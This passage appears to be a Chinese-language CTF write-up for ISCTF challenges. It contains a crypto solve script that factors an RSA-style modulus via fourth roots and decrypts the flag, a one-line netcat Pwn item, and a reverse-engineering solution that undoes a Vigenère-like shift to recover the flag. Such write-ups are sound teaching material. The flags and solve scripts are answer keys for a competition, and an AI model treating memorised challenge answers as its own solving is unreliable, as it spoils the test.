n = 1076246859437269645898003764327104347852443049519429833372038915264009774423737482018987571807662568251485615769880354898666799006772572239466617428164721157850526408878346223839884319846641438292436373441749602341461361190584638190903978829024853974880636148520803145113551453821058269641304504880310836801494499720662704717315748614372503735165114899680682056477494953525794354656896362929510309669119173103242509398650608116835276076364248473952717811633756784397347121601006659623317417388283638159905288128181587304367489096254611610975352096229116491567502061775862811850081040850421151385474249060884479729988512713640536139010928836126719149031115182144744359297169350288886555784650111
p1 = 145356063641618996012874664536921616978986640263438210169671010403677822239343590475177543891188656103067696467174379510912427160232486984044862545338401652910975162942038201716552753723984593267892098222213049269335313670049037479410635628460505327693176152061750827570561482918795206276991967169087371403553

'''

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
c = 8641190030376811670503537177719719233418166235794962118828671236836174132083208517733734760455990850156371205118391537919769888760384574011411232571257192285256730733174399297826587479261381970232162702657952399683882650083181048279650913795429823628186888540572704055008102853692060360140858142686334722286525699998854566609078547487420929457446776757558492454916447188774943818970599916514467335772992690805247630814156710861067503956707301402347944233660194395192354000788262111000900574820275786269075882923600474781645848712157460135387134196156906258218217831988828360827613420801773911833194097791649069743116686685667300622630909231822986237104627385544169938138006242341269672868611269202418482629393372933567053272565557137741441902377611003983050084491513897727856173625922194300103448148829004025229567101761111396110940066254801762424343522707712480796358754008120503317686600144600226149617189681233392693738216138797012278242152852923361635415564580582002132107424154426980566696622448291815571736676562214017436

c1= 671390498592586008552998377599101093977542184109077889081448730480869018650843045119891777468161631085086340705902115332025675787789530562679603254577287153918966364523848382506106179394235772395029788721306186952016420794804145631124905952103136061076643266886961178241381892015555099638200222249447194504082451341122502519637821695210573997670753981061458264118355417889153180841281073262935937836447460470926729282834006229571453935760593644658459098721652426154970766417292435960463905367868753821950303919781798234432998272038029063155193184039985018137026245365188171178677898869374676546799536208952198558258306460302868688355653022725288744014143221560882404431652751343944983442109327

n = 1076246859437269645898003764327104347852443049519429833372038915264009774423737482018987571807662568251485615769880354898666799006772572239466617428164721157850526408878346223839884319846641438292436373441749602341461361190584638190903978829024853974880636148520803145113551453821058269641304504880310836801494499720662704717315748614372503735165114899680682056477494953525794354656896362929510309669119173103242509398650608116835276076364248473952717811633756784397347121601006659623317417388283638159905288128181587304367489096254611610975352096229116491567502061775862811850081040850421151385474249060884479729988512713640536139010928836126719149031115182144744359297169350288886555784650111

from gmpy2 import iroot

from Crypto.Util.number import *


p1 = 145356063641618996012874664536921616978986640263438210169671010403677822239343590475177543891188656103067696467174379510912427160232486984044862545338401652910975162942038201716552753723984593267892098222213049269335313670049037479410635628460505327693176152061750827570561482918795206276991967169087371403553 - (1<<777)

result1,abc= iroot(p1, 4)

p1 = 145356063641618996012874664536921616978986640263438210169671010403677822239343590475177543891188656103067696467174379510912427160232486984044862545338401652910975162942038201716552753723984593267892098222213049269335313670049037479410635628460505327693176152061750827570561482918795206276991967169087371403553 - (1<<778)

result2 ,abc= iroot(p1, 4)

for i in range(result2,result1):

if(n%i == 0):

print(i)

p = 109801503867274649798222703146361472504035741051437565219324438087291269873711
q = 9950064641808583425441380993204379964643079019269971708698812996666949204486839200061353570738734894251003369916113176284264531697575009505411310591828757

e=65537

q = q**4

phi = (p - 1) * (q - 1) * q**3
d = inverse(e, phi)
s = pow(c1,d,n)
print(s)

m = ((c-1)//(s**3))%(s**2)
print(m)
print(long_to_bytes(m))

Pwn

Netcat

nc 连接得到 flag

Reverse

Ezre

先查壳

64位无壳

放入ida查看

找到主函数

然后寻找加密函数

跟进sub_1400112E9得

发现就是一个用v5循环与v4相减的函数

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
s = "QKEMK{7JB5_i5_W3SllD_3z_W3}"
str = "ISCTF"
for i in range(27):
a = ord(s[i])
if 0<=a-65<=25:
b = ord(str[i%5])
c = a-b
if c<0:
print(end=chr(c+65+26))
else:
print( end=chr(c+65) )
else:
print(end=s[i])

输出结果得

flag 值:ISCTF{7HI5_i5_R3AllY_3z_R3}